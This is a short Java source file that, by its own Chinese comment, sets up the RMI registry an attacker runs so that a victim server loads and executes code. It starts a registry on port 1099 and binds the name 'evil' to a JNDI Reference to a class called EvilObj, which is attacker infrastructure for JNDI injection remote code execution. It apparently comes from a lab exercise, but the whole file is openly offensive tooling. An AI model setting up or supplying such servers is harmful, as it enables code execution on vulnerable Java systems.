package com.test.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author: PZ
 * @date: 2021/12/11
 * @description 黑客搭建的服务器调用的注册中心（用于服务器执行程序）
 **/
public class RmiServer {
    public static void main(String[] args){
        try{
            LocateRegistry.createRegistry(1099);
            Registry registry=LocateRegistry.getRegistry();

            Reference reference=new Reference("com.test.rmi.EvilObj","com.test.rmi.EvilObj","com.test.rmi.EvilObj");
            ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);
            registry.bind("evil",referenceWrapper);

        }catch (Exception e){

        }
    }
}
